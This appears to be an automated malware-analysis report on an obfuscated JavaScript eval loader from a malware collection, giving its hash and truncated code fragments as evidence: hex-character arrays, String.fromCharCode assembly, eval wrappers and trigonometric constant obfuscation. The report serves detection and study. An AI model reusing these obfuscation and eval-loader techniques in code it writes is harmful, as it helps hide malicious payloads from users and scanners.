Suspicious ^80% javascript-malware-collection Download

20151214_72a19330105b4442ef06b633bf6bceb2.js

Obfuscated eval loader

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-25679fd75e86e152fc4ecd539e83c804eb19ad941c49a91f44b336f1474bc54b57c

Evidence

Single-line packed JavaScript loader profile lines 1–2

1var a=new Array();
2r(a,"\x33");r(a,"\x68");r(a,"\x35");r(a,"\x24");r(a,"\x5a");r(a,"\x69");r(a,"\x4a");r(a,"\x5d");r(a,"\x73");r(a,"\x24");r(a,"\x7a");r(a,"\x63");r(a,"\x31");r(a,"\x51");r(a,"\x69");r(a,"\x4f");r(a,"\x20");r(a,"\x39");r(a,"\x2e");r(a,"\x5b");r(a,"\x69");r(a,"\x65");r(a,"\x6a");r(a,"\x20");r(a,"\x20");r(a,"\x28");r(a,"\x2a");r(a,"\x47");r(a,"\x23");r(a,"\x75");r(a,"\x58");r(a,"\x20");r(a,"\x38");r(a,"\x78");r(a,"\x3b");r(a,"\x2b");r(a,"\x49");r(a,"\x43");r(a,"\x5d");r(a,"\x37");r(a,"\x65");r(a,"\x39");r(a,"\x40");r(a,"\x6d");r(a,"\x3b");r(a,"\x2c");r(a,"\x39");r(a,"\x36");r(a,"\x45");r(a,"\x28");r(a,"\x3a");r(a,"\x3b");r(a,"\x40");r(a, …

0x3f hex byte token line 3

3:4… eZwXm=[0x4,0x6,0xe,0x11,0x17,0x1a,0x1e,0x27,0x2a,0x2f,0x36,0x38,0x3f,0x44,0x47,0x4e,0x52,0x58,0x5c,0x62,0x65,0x69,0x6f,0x73,0x79,0x7f,0x85,0x8a,0x8c,0x93,0x98,0x9b,0xa2,0xa9,0xad,0xb3,0xb4,0xba,0xc0,0xc6,0xca,0xcd,0xd6,0xd9,0xdd,0xe2,0xe9,0xec,0xf2,0xf7,0xfa,0xff,0x106,0x10d,0x111,0x117,0x11c,0x11d,0x123,0x12b,0x12c,0x135,0x13a,0x13f,0x142,0x145,0x14d,0x151,0x157,0x159,0x15e,0x163,0x168,0 …

Builds characters with String.fromCharCode line 4

4:260… 43],a[44],a[45],a[46],a[47],a[48],a[49],a[50],a[51],a[52],a[53],String.fromCharCode(10),a[54],a[55],a[56],a[57],a[58],a[59],a[60],a[61],a[62],a[63],a[64],a[65],a[66],String.fromCharCode(13),a[67],a[68],a[69],a[7 …

Calls JavaScript toString conversion method lines 6–8

6:35… surSUH,lNMGfVEg){xmBs=parseInt(BYlNjlLGUQj,PjTmgDLsurSUH);fXoIC=xmBs.toString(lNMGfVEg);return fXoIC;}function aavxZiBlhiYHpFj(jBaRwoscdkrPiaahA,IHMotNxvxYhwZlGKNJEooGwvJVXGRimKtf,yMYRWpmbwzqIfhyPptbDJHkChjAyyXTkzjf){eval(jBaRwoscdkrPiaahA)}
7function aavxZiBlhiYHpFj(jBaRwoscdkrPiaahA){eval(jBaRwoscdkrPiaahA)}
8function pSMndvrMIaQqpPlzssJOSgpJAmhNqDkKWBsmiLUJqtlWM …

Numeric sine-square obfuscation expression lines 13–15

13:13… ,i];
14var usREGtfvU=[];
15function ZlSqTyBHAcqsSNSdD(TlYgf){VHUZAlEFaCG= a[1732];for(zUOnbCeAcMQ=Math.round((Math.pow(Math.sin(1), 2) + Math.pow(Math.cos(1), 2) - 1)); zUOnbCeAcMQ < (774+538)/656; zUOnbCeAcMQ++) {usREGtfvU[zUOnbCeAcMQ]=Math.round((Math.pow(Math.sin(803), 2) + Math.pow(Math.cos(803), 2) - 1)); while(true) { if(usREGtfvU[zUOnbCeAcMQ] > TlYgf[zUOnbCeAcMQ].length-(-219+885)/666) { break; } if (xqOsPVX(OnQsp(TlYgf[zUOnbCeAcMQ][usREGtfvU[zUOnbCeAcMQ]],(6601+8 …